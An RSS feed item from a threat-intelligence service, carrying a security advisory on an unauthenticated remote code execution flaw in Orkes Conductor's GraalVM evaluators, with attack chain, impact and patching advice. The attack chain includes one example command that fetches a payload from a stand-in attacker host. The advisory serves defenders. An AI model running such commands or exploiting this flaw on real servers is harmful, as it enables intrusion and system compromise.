<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:webfeeds="http://webfeeds.org/rss/1.0"><channel><title>Conductor 3.30.1 - CraftedSignal Threat Feed</title><link>https://feed.craftedsignal.io/products/conductor-3.30.1/</link><description>Trending threats, MITRE ATT&amp;CK coverage, and detection metadata. Fed continuously.</description><generator>Hugo</generator><language>en</language><managingEditor>hello@craftedsignal.io</managingEditor><webMaster>hello@craftedsignal.io</webMaster><lastBuildDate>Tue, 30 Jun 2026 19:20:22 +0000</lastBuildDate><atom:link href="https://feed.craftedsignal.io/products/conductor-3.30.1/feed.xml" rel="self" type="application/rss+xml"/><image><url>https://feed.craftedsignal.io/favicon-32x32.png</url><title>CraftedSignal Threat Feed</title><link>https://feed.craftedsignal.io/</link><width>32</width><height>32</height></image><webfeeds:icon>https://feed.craftedsignal.io/favicon.svg</webfeeds:icon><item><title>CVE-2026-58138: Unauthenticated Remote Code Execution in Orkes Conductor</title><link>https://feed.craftedsignal.io/briefs/2026-06-orkes-conductor-rce/</link><pubDate>Tue, 30 Jun 2026 19:20:22 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-06-orkes-conductor-rce/</guid><description>An unauthenticated remote code execution vulnerability (CVE-2026-58138) in Orkes Conductor allows attackers to execute arbitrary OS commands by submitting malicious JavaScript or Python expressions within inline workflow definitions to the workflow API endpoint before authentication, leveraging unsandboxed GraalVM evaluators through specific task types to invoke system commands via Java reflection or direct subprocess calls.</description><content:encoded><![CDATA[<p>A critical unauthenticated remote code execution vulnerability, tracked as CVE-2026-58138, affects Orkes Conductor versions 3.21.21 before 3.30.2. This flaw enables remote attackers to execute arbitrary operating system commands on the underlying server without prior authentication. The vulnerability stems from the ability to submit inline workflow definitions containing malicious JavaScript or Python expressions directly to the workflow API endpoint. Attackers can exploit unsandboxed GraalVM evaluators, configured with <code>HostAccess.ALL</code> or <code>allowAllAccess(true)</code>, through <code>INLINE</code>, <code>LAMBDA</code>, <code>DO_WHILE</code>, and <code>SWITCH</code> task types. This allows for the invocation of arbitrary system commands via Java reflection or direct subprocess calls, posing a severe risk of complete system compromise and data exfiltration.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>An attacker identifies an internet-exposed Orkes Conductor instance running a vulnerable version (e.g., 3.21.21 up to 3.30.1).</li>
<li>The attacker crafts a specialized workflow definition payload containing embedded malicious JavaScript or Python expressions.</li>
<li>These expressions are designed to leverage Java reflection or direct subprocess calls to execute arbitrary OS commands (e.g., <code>bash -c 'wget evil.com/payload.sh'</code>).</li>
<li>The crafted workflow definition is submitted to the unauthenticated workflow API endpoint of the vulnerable Orkes Conductor instance.</li>
<li>Orkes Conductor processes the submitted inline workflow, and the unsandboxed GraalVM evaluator begins to parse and execute the malicious expressions.</li>
<li>The GraalVM evaluator, configured with permissive access settings like <code>HostAccess.ALL</code>, executes the attacker's embedded code.</li>
<li>The malicious code successfully executes arbitrary OS commands on the host system, achieving unauthenticated remote code execution.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>The successful exploitation of CVE-2026-58138 allows unauthenticated attackers to achieve full remote code execution on the server hosting Orkes Conductor. With a CVSS v3.1 Base Score of 9.8 (Critical), this vulnerability can lead to complete system compromise, including sensitive data exfiltration, installation of backdoors, lateral movement within the network, and deployment of ransomware. Organizations utilizing vulnerable versions of Orkes Conductor face an immediate and severe risk if their instances are publicly accessible.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Patch CVE-2026-58138 immediately by upgrading Orkes Conductor to version 3.30.2 or later.</li>
<li>Implement network segmentation to restrict direct internet exposure of Orkes Conductor instances.</li>
<li>Deploy the provided Sigma rule to detect suspicious process execution originating from the Conductor application.</li>
<li>Monitor for unusual outbound network connections from the Conductor server, indicative of command and control or data exfiltration activities.</li>
</ul>
]]></content:encoded><category domain="severity">critical</category><category domain="type">advisory</category><category>RCE</category><category>vulnerability</category><category>Java</category><category>Conductor</category><category>web-application</category></item></channel></rss>